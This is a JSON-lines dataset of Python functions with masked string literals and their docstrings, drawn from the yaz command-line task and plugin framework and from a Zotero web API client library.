{"signature": "def __call__(self, **kwargs):", "body": "start = datetime.datetime.now()<EOL>logger.info(\"<STR_LIT>\", self)<EOL>try:<EOL><INDENT>if self.plugin_class:<EOL><INDENT>result = self.func(get_plugin_instance(self.plugin_class), **kwargs)<EOL><DEDENT>else:<EOL><INDENT>result = self.func(**kwargs)<EOL><DEDENT>if inspect.iscoroutinefunction(self.func):<EOL><INDENT>assert inspect.iscoroutine(<EOL>result), \"<STR_LIT>\"<EOL>loop = asyncio.get_event_loop()<EOL>if loop.is_closed():<EOL><INDENT>loop = asyncio.new_event_loop()<EOL>asyncio.set_event_loop(loop)<EOL><DEDENT>result = loop.run_until_complete(result)<EOL>loop.close()<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>stop = datetime.datetime.now()<EOL>logger.info(\"<STR_LIT>\", self, stop - start)<EOL><DEDENT>return result<EOL>", "docstring": "Prepare dependencies and call this Task", "id": "f5601:c0:m4"}
{"signature": "def get_parameters(self):", "body": "if self.plugin_class is None:<EOL><INDENT>sig = inspect.signature(self.func)<EOL>for index, parameter in enumerate(sig.parameters.values()):<EOL><INDENT>if not parameter.kind in [parameter.POSITIONAL_ONLY, parameter.KEYWORD_ONLY, parameter.POSITIONAL_OR_KEYWORD]:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\".format(parameter, parameter.kind))<EOL><DEDENT>yield parameter<EOL><DEDENT><DEDENT>else:<EOL><INDENT>var_keyword_seen = set()<EOL>for cls in inspect.getmro(self.plugin_class):<EOL><INDENT>if issubclass(cls, BasePlugin) and hasattr(cls, self.func.__name__):<EOL><INDENT>func = getattr(cls, self.func.__name__)<EOL>logger.debug(\"<STR_LIT>\", func, cls)<EOL>var_keyword_found = False<EOL>sig = inspect.signature(func)<EOL>for index, parameter in enumerate(sig.parameters.values()):<EOL><INDENT>if index == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>if parameter.kind == inspect.Parameter.VAR_KEYWORD:<EOL><INDENT>var_keyword_found = True<EOL>continue<EOL><DEDENT>if parameter.kind in [parameter.POSITIONAL_ONLY, parameter.VAR_POSITIONAL]:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\".format(func, parameter))<EOL><DEDENT>if not parameter.name in var_keyword_seen:<EOL><INDENT>var_keyword_seen.add(parameter.name)<EOL>logger.debug(\"<STR_LIT>\", parameter, parameter.kind)<EOL>yield parameter<EOL><DEDENT><DEDENT>if not var_keyword_found:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Returns a list of parameters", "id": "f5601:c0:m5"}
{"signature": "def get_configuration(self, key, default=None):", "body": "if key in self.config:<EOL><INDENT>return self.config.get(key)<EOL><DEDENT>else:<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "Returns the configuration for KEY", "id": "f5601:c0:m6"}
{"signature": "@yaz.task<EOL><INDENT>def main(self, pos1: str, pos2: str, pos3: str, pos_or_key1: str = \"<STR_LIT>\", pos_or_key2: str = \"<STR_LIT>\", pos_or_key3: str = \"<STR_LIT>\", *, key1: str = \"<STR_LIT>\", key2: str = \"<STR_LIT>\", key3: str = \"<STR_LIT>\"):<DEDENT>", "body": "return [pos1, pos2, pos3, pos_or_key1, pos_or_key2, pos_or_key3, key1, key2, key3]<EOL>", "docstring": "required from water-base-plugin", "id": "f5608:c4:m0"}
{"signature": "@yaz.task<EOL><INDENT>def main(self, pos1: str, pos2: str, pos_or_key1: str = \"<STR_LIT>\", pos_or_key2: str = \"<STR_LIT>\", *, key1: str = \"<STR_LIT>\", key2: str = \"<STR_LIT>\", extra2: str = \"<STR_LIT>\", **kwargs):<DEDENT>", "body": "return super().main(pos1, pos2, pos_or_key1=pos_or_key1, pos_or_key2=pos_or_key2, key1=key1, key2=key2, **kwargs) + [extra2]<EOL>", "docstring": "required from water-base", "id": "f5608:c5:m0"}
{"signature": "@yaz.task<EOL><INDENT>def main(self, pos1: str, pos_or_key1: str = \"<STR_LIT>\", *, key1: str = \"<STR_LIT>\", extra1: str = \"<STR_LIT>\", **kwargs):<DEDENT>", "body": "return super().main(pos1, pos_or_key1=pos_or_key1, key1=key1, **kwargs) + [extra1]<EOL>", "docstring": "required from water-custom-plugin", "id": "f5608:c6:m0"}
{"signature": "@yaz.task<EOL>def multiple_functions_foo():", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "Well... why not \"foo\"?", "id": "f5609:m0"}
{"signature": "@yaz.task<EOL>def multiple_functions_bar():", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "I disagree and subsequently prefer \"bar", "id": "f5609:m1"}
{"signature": "@yaz.task(choice__choices=[\"<STR_LIT:yes>\", \"<STR_LIT>\", \"<STR_LIT>\"])<EOL><INDENT>def required_choice(self, choice):<DEDENT>", "body": "return self.choices[choice]<EOL>", "docstring": "This is the documentation for the required_choice task", "id": "f5613:c0:m0"}
{"signature": "@yaz.task<EOL><INDENT>def one_line_doc_string(self):<DEDENT>", "body": "pass<EOL>", "docstring": "This is the documentation for the one_line_doc_string task", "id": "f5613:c0:m1"}
{"signature": "@yaz.task<EOL><INDENT>def multi_line_doc_string(self):<DEDENT>", "body": "pass<EOL>", "docstring": "This is the documentation for the multi_line_doc_string task\n\nThis is the long description, for example:\nbla bla,\netc...", "id": "f5613:c0:m2"}
{"signature": "@yaz.task(choice__help=\"<STR_LIT>\")<EOL><INDENT>def parameter_help(self, choice):<DEDENT>", "body": "pass<EOL>", "docstring": "This is the documentation for the parameter_help task", "id": "f5613:c0:m3"}
{"signature": "def main(argv=None, white_list=None, load_yaz_extension=True):", "body": "assert argv is None or isinstance(argv, list), type(argv)<EOL>assert white_list is None or isinstance(white_list, list), type(white_list)<EOL>assert isinstance(load_yaz_extension, bool), type(load_yaz_extension)<EOL>argv = sys.argv if argv is None else argv<EOL>assert len(argv) > <NUM_LIT:0>, len(argv)<EOL>if load_yaz_extension:<EOL><INDENT>load(\"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT>parser = Parser(prog=argv[<NUM_LIT:0>])<EOL>parser.add_task_tree(get_task_tree(white_list))<EOL>task, kwargs = parser.parse_arguments(argv)<EOL>if task:<EOL><INDENT>try:<EOL><INDENT>result = task(**kwargs)<EOL>if isinstance(result, bool):<EOL><INDENT>code = <NUM_LIT:0> if result else <NUM_LIT:1><EOL>output = None<EOL><DEDENT>elif isinstance(result, int):<EOL><INDENT>code = result % <NUM_LIT><EOL>output = None<EOL><DEDENT>else:<EOL><INDENT>code = <NUM_LIT:0><EOL>output = result<EOL><DEDENT><DEDENT>except Error as error:<EOL><INDENT>code = error.return_code<EOL>output = error<EOL><DEDENT><DEDENT>else:<EOL><INDENT>code = <NUM_LIT:1><EOL>output = parser.format_help().rstrip()<EOL><DEDENT>if output is not None:<EOL><INDENT>print(output)<EOL><DEDENT>sys.exit(code)<EOL>", "docstring": "The entry point for a yaz script\n\n    This will almost always be called from a python script in\n    the following manner:\n\n        if __name__ == \"__main__\":\n            yaz.main()\n\n    This function will perform the following steps:\n\n    1. It will load any additional python code from\n       the yaz_extension python module located in the\n       ~/.yaz directory when LOAD_YAZ_EXTENSION is True\n       and the yaz_extension module exists\n\n    2. It collects all yaz tasks and plugins.  When WHITE_LIST\n       is a non-empty list, only the tasks and plugins located\n       therein will be considered\n\n    3. It will parse arguments from ARGV, or the command line\n       when ARGV is not given, resulting in a yaz task or a parser\n       help message.\n\n    4. When a suitable task is found, this task is executed.  In\n       case of a task which is part of a plugin, i.e. class, then\n       this plugin is initialized, possibly resulting in other\n       plugins to also be initialized if there are marked as\n       `@yaz.dependency`.", "id": "f5618:m0"}
{"signature": "def load(directory_name, module_name):", "body": "directory_name = os.path.expanduser(directory_name)<EOL>if os.path.isdir(directory_name) and directory_name not in sys.path:<EOL><INDENT>sys.path.append(directory_name)<EOL><DEDENT>try:<EOL><INDENT>return importlib.import_module(module_name)<EOL><DEDENT>except ImportError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Try to load and return a module\n\n    Will add DIRECTORY_NAME to sys.path and tries to import MODULE_NAME.\n\n    For example:\n    load(\"~/.yaz\", \"yaz_extension\")", "id": "f5619:m0"}
{"signature": "@decorator<EOL>def dependency(func, **config):", "body": "func.yaz_dependency_config = config<EOL>return func<EOL>", "docstring": "Declare a setter method to be called just after initializing a yaz.Plugin\n\n    This decorator allows one or more plugin dependencies\n    to be injected.  For example:\n\n        class Helper(yaz.Plugin):\n            pass\n\n        class HelloWorld(yaz.Plugin):\n            def __init__(self):\n                self.helper = None\n\n            @yaz.dependency\n            def set_helper(self, helper: Helper):\n                self.helper = helper\n\n    In the above example, when the HelloWorld plugin is initialized,\n    the set_helper method will be called immediately after the constructor\n    finishes.\n\n    Multiple dependencies may be injected in a single @yaz.dependency method.", "id": "f5622:m0"}
{"signature": "def get_plugin_list():", "body": "global _yaz_plugin_classes<EOL>def get_recursively(cls, plugin_list):<EOL><INDENT>for plugin in cls.__subclasses__():<EOL><INDENT>if not (plugin.yaz_is_final() or plugin.__qualname__ in _yaz_plugin_classes):<EOL><INDENT>plugin_list[plugin.__qualname__].append(plugin)<EOL><DEDENT>get_recursively(plugin, plugin_list)<EOL><DEDENT>return plugin_list<EOL><DEDENT>def include_class(candidate, classes):<EOL><INDENT>for cls in classes:<EOL><INDENT>if candidate is cls:<EOL><INDENT>continue<EOL><DEDENT>if issubclass(cls, candidate):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL><DEDENT>def get_plugin_type(qualname, plugins):<EOL><INDENT>classes = sorted(plugins, key=lambda plugin: plugin.yaz_get_ordinal())<EOL>classes = [cls for cls in classes if include_class(cls, classes)]<EOL>logger.debug(\"<STR_LIT>\", qualname, [cls for cls in classes])<EOL>return type(qualname, tuple(classes) + (Final,), {})<EOL><DEDENT>logger.debug(\"<STR_LIT>\" % _yaz_plugin_classes)<EOL>plugin_list = get_recursively(BasePlugin, collections.defaultdict(list))<EOL>_yaz_plugin_classes.update((qualname, get_plugin_type(qualname, plugins))<EOL>for qualname, plugins<EOL>in plugin_list.items())<EOL>assert isinstance(_yaz_plugin_classes, dict), type(_yaz_plugin_classes)<EOL>assert all(isinstance(qualname, str) for qualname in _yaz_plugin_classes.keys()), \"<STR_LIT>\"<EOL>assert all(issubclass(plugin_class, Final) for plugin_class in _yaz_plugin_classes.values()), \"<STR_LIT>\"<EOL>return _yaz_plugin_classes<EOL>", "docstring": "Finds all yaz plugins and returns them in a __qualname__: plugin_class dictionary", "id": "f5622:m1"}
{"signature": "def get_plugin_instance(plugin_class, *args, **kwargs):", "body": "assert issubclass(plugin_class, BasePlugin), type(plugin_class)<EOL>global _yaz_plugin_instance_cache<EOL>qualname = plugin_class.__qualname__<EOL>if not qualname in _yaz_plugin_instance_cache:<EOL><INDENT>plugin_class = get_plugin_list()[qualname]<EOL>_yaz_plugin_instance_cache[qualname] = plugin = plugin_class(*args, **kwargs)<EOL>funcs = [func<EOL>for _, func<EOL>in inspect.getmembers(plugin)<EOL>if inspect.ismethod(func) and hasattr(func, \"<STR_LIT>\")]<EOL>for func in funcs:<EOL><INDENT>signature = inspect.signature(func)<EOL>assert all(parameter.kind is parameter.POSITIONAL_OR_KEYWORD and issubclass(parameter.annotation, BasePlugin) for parameter in signature.parameters.values()), \"<STR_LIT>\".format(func)<EOL>func(*[get_plugin_instance(parameter.annotation)<EOL>for parameter<EOL>in signature.parameters.values()])<EOL><DEDENT><DEDENT>return _yaz_plugin_instance_cache[qualname]<EOL>", "docstring": "Returns an instance of a fully initialized plugin class\n\n    Every plugin class is kept in a plugin cache, effectively making\n    every plugin into a singleton object.\n\n    When a plugin has a yaz.dependency decorator, it will be called\n    as well, before the instance is returned.", "id": "f5622:m2"}
{"signature": "def get_doc(self, doc_name, cwd=cwd):", "body": "with open(os.path.join(cwd, \"<STR_LIT>\", \"<STR_LIT:%s>\" % doc_name), \"<STR_LIT:r>\") as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "return the requested test document", "id": "f5624:c0:m0"}
{"signature": "def setUp(self):", "body": "self.item_doc = self.get_doc(\"<STR_LIT>\")<EOL>self.items_doc = self.get_doc(\"<STR_LIT>\")<EOL>self.item_versions = self.get_doc(\"<STR_LIT>\")<EOL>self.collection_versions = self.get_doc(\"<STR_LIT>\")<EOL>self.collections_doc = self.get_doc(\"<STR_LIT>\")<EOL>self.collection_doc = self.get_doc(\"<STR_LIT>\")<EOL>self.collection_tags = self.get_doc(\"<STR_LIT>\")<EOL>self.citation_doc = self.get_doc(\"<STR_LIT>\")<EOL>self.attachments_doc = self.get_doc(\"<STR_LIT>\")<EOL>self.tags_doc = self.get_doc(\"<STR_LIT>\")<EOL>self.groups_doc = self.get_doc(\"<STR_LIT>\")<EOL>self.item_templt = self.get_doc(\"<STR_LIT>\")<EOL>self.item_types = self.get_doc(\"<STR_LIT>\")<EOL>self.item_fields = self.get_doc(\"<STR_LIT>\")<EOL>self.keys_response = self.get_doc(\"<STR_LIT>\")<EOL>self.creation_doc = self.get_doc(\"<STR_LIT>\")<EOL>self.item_file = self.get_doc(\"<STR_LIT>\")<EOL>HTTPretty.enable()<EOL>HTTPretty.register_uri(<EOL>HTTPretty.GET,<EOL>\"<STR_LIT>\",<EOL>content_type=\"<STR_LIT:application/json>\",<EOL>body=self.items_doc,<EOL>)<EOL>", "docstring": "Set stuff up", "id": "f5624:c0:m1"}
{"signature": "def tearDown(self):", "body": "HTTPretty.disable()<EOL>", "docstring": "Tear stuff down", "id": "f5624:c0:m38"}
{"signature": "def ib64_patched(self, attrsD, contentparams):", "body": "if attrsD.get(\"<STR_LIT>\", \"<STR_LIT>\") == \"<STR_LIT>\":<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if self.contentparams[\"<STR_LIT:type>\"].startswith(\"<STR_LIT>\"):<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if self.contentparams[\"<STR_LIT:type>\"].endswith(\"<STR_LIT>\"):<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if self.contentparams[\"<STR_LIT:type>\"].endswith(\"<STR_LIT>\"):<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if self.contentparams[\"<STR_LIT:type>\"].endswith(\"<STR_LIT>\"):<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Patch isBase64 to prevent Base64 encoding of JSON content", "id": "f5629:m0"}
{"signature": "def token():", "body": "return str(uuid.uuid4().hex)<EOL>", "docstring": "Return a unique 32-char write-token", "id": "f5629:m1"}
{"signature": "def cleanwrap(func):", "body": "def enc(self, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return (func(self, item, **kwargs) for item in args)<EOL><DEDENT>return enc<EOL>", "docstring": "Wrapper for Zotero._cleanup", "id": "f5629:m2"}
{"signature": "def chunks(l, n):", "body": "for i in range(<NUM_LIT:0>, len(l), n):<EOL><INDENT>yield l[i: i + n]<EOL><DEDENT>", "docstring": "Yield successive n-sized chunks from l.", "id": "f5629:m3"}
{"signature": "def retrieve(func):", "body": "def wrapped_f(self, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if kwargs:<EOL><INDENT>self.add_parameters(**kwargs)<EOL><DEDENT>retrieved = self._retrieve_data(func(self, *args))<EOL>self.links = self._extract_links()<EOL>content = (<EOL>self.content.search(self.request.url)<EOL>and self.content.search(self.request.url).group(<NUM_LIT:0>)<EOL>or \"<STR_LIT>\"<EOL>)<EOL>formats = {<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:application/json>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>}<EOL>content_type_header = self.request.headers[\"<STR_LIT:Content-Type>\"].lower() + \"<STR_LIT:;>\"<EOL>re.compile(\"<STR_LIT>\")<EOL>fmt = formats.get(<EOL>content_type_header[<NUM_LIT:0>: content_type_header.index(\"<STR_LIT:;>\")],<EOL>\"<STR_LIT>\",<EOL>)<EOL>self.url_params = None<EOL>if \"<STR_LIT>\" in self.request.url:<EOL><INDENT>self.tag_data = False<EOL>return self._tags_data(retrieved.json())<EOL><DEDENT>if fmt == \"<STR_LIT>\":<EOL><INDENT>parsed = feedparser.parse(retrieved.text)<EOL>processor = self.processors.get(content)<EOL>return processor(parsed)<EOL><DEDENT>if fmt == \"<STR_LIT>\":<EOL><INDENT>self.snapshot = True<EOL><DEDENT>if fmt == \"<STR_LIT>\":<EOL><INDENT>parser = bibtexparser.bparser.BibTexParser(common_strings=True)<EOL>return parser.parse(retrieved.text)<EOL><DEDENT>elif fmt != \"<STR_LIT>\":<EOL><INDENT>return retrieved.content<EOL><DEDENT>else:<EOL><INDENT>return retrieved.json()<EOL><DEDENT><DEDENT>return wrapped_f<EOL>", "docstring": "Decorator for Zotero read API methods; calls _retrieve_data() and passes\nthe result to the correct processor, based on a lookup", "id": "f5629:m4"}
{"signature": "def ss_wrap(func):", "body": "def wrapper(self, *args, **kwargs):<EOL><INDENT>if not self.savedsearch:<EOL><INDENT>self.savedsearch = SavedSearch(self)<EOL><DEDENT>return func(self, *args, **kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "ensure that a SavedSearch object exists", "id": "f5629:m5"}
{"signature": "def error_handler(req):", "body": "error_codes = {<EOL><NUM_LIT>: ze.UnsupportedParams,<EOL><NUM_LIT>: ze.UserNotAuthorised,<EOL><NUM_LIT>: ze.UserNotAuthorised,<EOL><NUM_LIT>: ze.ResourceNotFound,<EOL><NUM_LIT>: ze.Conflict,<EOL><NUM_LIT>: ze.PreConditionFailed,<EOL><NUM_LIT>: ze.RequestEntityTooLarge,<EOL><NUM_LIT>: ze.PreConditionRequired,<EOL><NUM_LIT>: ze.TooManyRequests,<EOL>}<EOL>def err_msg(req):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return \"<STR_LIT>\" % (<EOL>req.status_code,<EOL>req.url,<EOL>req.request.method,<EOL>req.text,<EOL>)<EOL><DEDENT>if error_codes.get(req.status_code):<EOL><INDENT>if req.status_code == <NUM_LIT>:<EOL><INDENT>delay = backoff.delay<EOL>if delay > <NUM_LIT:32>:<EOL><INDENT>backoff.reset()<EOL>raise ze.TooManyRetries(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>time.sleep(delay)<EOL>sess = requests.Session()<EOL>new_req = sess.send(req.request)<EOL>try:<EOL><INDENT>new_req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(new_req)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise error_codes.get(req.status_code)(err_msg(req))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ze.HTTPError(err_msg(req))<EOL><DEDENT>", "docstring": "Error handler for HTTP requests", "id": "f5629:m6"}
{"signature": "def __init__(<EOL>self,<EOL>library_id=None,<EOL>library_type=None,<EOL>api_key=None,<EOL>preserve_json_order=False,<EOL>):", "body": "self.endpoint = \"<STR_LIT>\"<EOL>if library_id and library_type:<EOL><INDENT>self.library_id = library_id<EOL>self.library_type = library_type + \"<STR_LIT:s>\"<EOL><DEDENT>else:<EOL><INDENT>raise ze.MissingCredentials(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>self.api_key = api_key<EOL>self.preserve_json_order = preserve_json_order<EOL>self.url_params = None<EOL>self.tag_data = False<EOL>self.request = None<EOL>self.snapshot = False<EOL>self.temp_keys = set([\"<STR_LIT:key>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"])<EOL>self.fmt = re.compile(r\"<STR_LIT>\")<EOL>self.content = re.compile(r\"<STR_LIT>\")<EOL>self.processors = {<EOL>\"<STR_LIT>\": self._bib_processor,<EOL>\"<STR_LIT>\": self._citation_processor,<EOL>\"<STR_LIT>\": self._bib_processor,<EOL>\"<STR_LIT>\": self._bib_processor,<EOL>\"<STR_LIT>\": self._bib_processor,<EOL>\"<STR_LIT>\": self._csljson_processor,<EOL>\"<STR_LIT>\": self._bib_processor,<EOL>\"<STR_LIT>\": self._bib_processor,<EOL>\"<STR_LIT>\": self._bib_processor,<EOL>\"<STR_LIT>\": self._bib_processor,<EOL>\"<STR_LIT>\": self._bib_processor,<EOL>\"<STR_LIT>\": self._bib_processor,<EOL>\"<STR_LIT>\": self._bib_processor,<EOL>\"<STR_LIT>\": self._bib_processor,<EOL>\"<STR_LIT>\": self._json_processor,<EOL>\"<STR_LIT:html>\": self._bib_processor,<EOL>}<EOL>self.links = None<EOL>self.self_link = {}<EOL>self.templates = {}<EOL>self.savedsearch = None<EOL>", "docstring": "Store Zotero credentials", "id": "f5629:c0:m0"}
{"signature": "def default_headers(self):", "body": "_headers = {<EOL>\"<STR_LIT>\": \"<STR_LIT>\" % __version__,<EOL>\"<STR_LIT>\": \"<STR_LIT:%s>\" % __api_version__,<EOL>}<EOL>if self.api_key:<EOL><INDENT>_headers[\"<STR_LIT>\"] = \"<STR_LIT>\" % self.api_key<EOL><DEDENT>return _headers<EOL>", "docstring": "It's always OK to include these headers", "id": "f5629:c0:m1"}
{"signature": "def _cache(self, response, key):", "body": "<EOL>thetime = datetime.datetime.utcnow().replace(tzinfo=pytz.timezone(\"<STR_LIT>\"))<EOL>self.templates[key] = {\"<STR_LIT>\": response.json(), \"<STR_LIT>\": thetime}<EOL>return copy.deepcopy(response.json())<EOL>", "docstring": "Add a retrieved template to the cache for 304 checking\naccepts a dict and key name, adds the retrieval time, and adds both\nto self.templates as a new dict using the specified key", "id": "f5629:c0:m2"}
{"signature": "@cleanwrap<EOL><INDENT>def _cleanup(self, to_clean, allow=()):<DEDENT>", "body": "<EOL>if to_clean.keys() == [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:version>\", \"<STR_LIT>\", \"<STR_LIT:key>\", \"<STR_LIT:data>\"]:<EOL><INDENT>to_clean = to_clean[\"<STR_LIT:data>\"]<EOL><DEDENT>return dict(<EOL>[<EOL>[k, v]<EOL>for k, v in list(to_clean.items())<EOL>if (k in allow or k not in self.temp_keys)<EOL>]<EOL>)<EOL>", "docstring": "Remove keys we added for internal use", "id": "f5629:c0:m3"}
{"signature": "def _retrieve_data(self, request=None):", "body": "full_url = \"<STR_LIT>\" % (self.endpoint, request)<EOL>self.self_link = request<EOL>self.request = requests.get(url=full_url, headers=self.default_headers())<EOL>self.request.encoding = \"<STR_LIT:utf-8>\"<EOL>try:<EOL><INDENT>self.request.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(self.request)<EOL><DEDENT>return self.request<EOL>", "docstring": "Retrieve Zotero items via the API\nCombine endpoint and request to access the specific resource\nReturns a JSON document", "id": "f5629:c0:m4"}
{"signature": "def _extract_links(self):", "body": "extracted = dict()<EOL>try:<EOL><INDENT>for key, value in self.request.links.items():<EOL><INDENT>parsed = urlparse(value[\"<STR_LIT:url>\"])<EOL>fragment = \"<STR_LIT>\".format(path=parsed[<NUM_LIT:2>], query=parsed[<NUM_LIT:4>])<EOL>extracted[key] = fragment<EOL><DEDENT>parsed = list(urlparse(self.self_link))<EOL>stripped = \"<STR_LIT:&>\".join(<EOL>[<EOL>\"<STR_LIT>\" % (p[<NUM_LIT:0>], p[<NUM_LIT:1>])<EOL>for p in parse_qsl(parsed[<NUM_LIT:4>])<EOL>if p[<NUM_LIT:0>] != \"<STR_LIT>\"<EOL>]<EOL>)<EOL>extracted[\"<STR_LIT>\"] = urlunparse(<EOL>[parsed[<NUM_LIT:0>], parsed[<NUM_LIT:1>], parsed[<NUM_LIT:2>], parsed[<NUM_LIT:3>], stripped, parsed[<NUM_LIT:5>]]<EOL>)<EOL>return extracted<EOL><DEDENT>except KeyError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Extract self, first, next, last links from a request response", "id": "f5629:c0:m5"}
{"signature": "def _updated(self, url, payload, template=None):", "body": "<EOL>if (<EOL>abs(<EOL>datetime.datetime.utcnow().replace(tzinfo=pytz.timezone(\"<STR_LIT>\"))<EOL>- self.templates[template][\"<STR_LIT>\"]<EOL>).seconds<EOL>> <NUM_LIT><EOL>):<EOL><INDENT>query = self.endpoint + url.format(<EOL>u=self.library_id, t=self.library_type, **payload<EOL>)<EOL>headers = {<EOL>\"<STR_LIT>\": payload[\"<STR_LIT>\"].strftime(<EOL>\"<STR_LIT>\"<EOL>)<EOL>}<EOL>headers.update(self.default_headers())<EOL>req = requests.get(query, headers=headers)<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>return req.status_code == <NUM_LIT><EOL><DEDENT>return False<EOL>", "docstring": "Generic call to see if a template request returns 304\naccepts:\n- a string to combine with the API endpoint\n- a dict of format values, in case they're required by 'url'\n- a template name to check for\nAs per the API docs, a template less than 1 hour old is\nassumed to be fresh, and will immediately return False if found", "id": "f5629:c0:m6"}
{"signature": "def add_parameters(self, **params):", "body": "self.url_params = None<EOL>if not params.get(\"<STR_LIT>\"):<EOL><INDENT>params[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL><DEDENT>if params.get(\"<STR_LIT:content>\"):<EOL><INDENT>params[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL><DEDENT>if \"<STR_LIT>\" not in params or params.get(\"<STR_LIT>\") == <NUM_LIT:0>:<EOL><INDENT>params[\"<STR_LIT>\"] = <NUM_LIT:100><EOL><DEDENT>elif params[\"<STR_LIT>\"] == -<NUM_LIT:1> or params[\"<STR_LIT>\"] is None:<EOL><INDENT>del params[\"<STR_LIT>\"]<EOL><DEDENT>if params.get(\"<STR_LIT>\") == \"<STR_LIT>\":<EOL><INDENT>del params[\"<STR_LIT>\"]<EOL><DEDENT>self.url_params = urlencode(params, doseq=True)<EOL>", "docstring": "Add URL parameters\nAlso ensure that only valid format/content combinations are requested", "id": "f5629:c0:m7"}
{"signature": "def _build_query(self, query_string, no_params=False):", "body": "try:<EOL><INDENT>query = quote(query_string.format(u=self.library_id, t=self.library_type))<EOL><DEDENT>except KeyError as err:<EOL><INDENT>raise ze.ParamNotPassed(\"<STR_LIT>\" % err)<EOL><DEDENT>if no_params is False:<EOL><INDENT>if not self.url_params:<EOL><INDENT>self.add_parameters()<EOL><DEDENT>query = \"<STR_LIT>\" % (query, self.url_params)<EOL><DEDENT>return query<EOL>", "docstring": "Set request parameters. Will always add the user ID if it hasn't\nbeen specifically set by an API method", "id": "f5629:c0:m8"}
{"signature": "@retrieve<EOL><INDENT>def publications(self):<DEDENT>", "body": "if self.library_type != \"<STR_LIT>\":<EOL><INDENT>raise ze.CallDoesNotExist(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>query_string = \"<STR_LIT>\"<EOL>return self._build_query(query_string)<EOL>", "docstring": "Return the contents of My Publications", "id": "f5629:c0:m9"}
{"signature": "def num_items(self):", "body": "query = \"<STR_LIT>\"<EOL>return self._totals(query)<EOL>", "docstring": "Return the total number of top-level items in the library", "id": "f5629:c0:m10"}
{"signature": "def count_items(self):", "body": "query = \"<STR_LIT>\"<EOL>return self._totals(query)<EOL>", "docstring": "Return the count of all items in a group / library", "id": "f5629:c0:m11"}
{"signature": "def num_collectionitems(self, collection):", "body": "query = \"<STR_LIT>\".format(<EOL>u=self.library_id, t=self.library_type, c=collection.upper()<EOL>)<EOL>return self._totals(query)<EOL>", "docstring": "Return the total number of items in the specified collection", "id": "f5629:c0:m12"}
{"signature": "def num_tagitems(self, tag):", "body": "query = \"<STR_LIT>\".format(<EOL>u=self.library_id, t=self.library_type, ta=tag<EOL>)<EOL>return self._totals(query)<EOL>", "docstring": "Return the total number of items for the specified tag", "id": "f5629:c0:m13"}
{"signature": "def _totals(self, query):", "body": "self.add_parameters(limit=<NUM_LIT:1>)<EOL>query = self._build_query(query)<EOL>self._retrieve_data(query)<EOL>self.url_params = None<EOL>return int(self.request.headers[\"<STR_LIT>\"])<EOL>", "docstring": "General method for returning total counts", "id": "f5629:c0:m14"}
{"signature": "@retrieve<EOL><INDENT>def key_info(self, **kwargs):<DEDENT>", "body": "query_string = \"<STR_LIT>\".format(k=self.api_key)<EOL>return self._build_query(query_string)<EOL>", "docstring": "Retrieve info about the permissions associated with the\nkey associated to the given Zotero instance", "id": "f5629:c0:m15"}
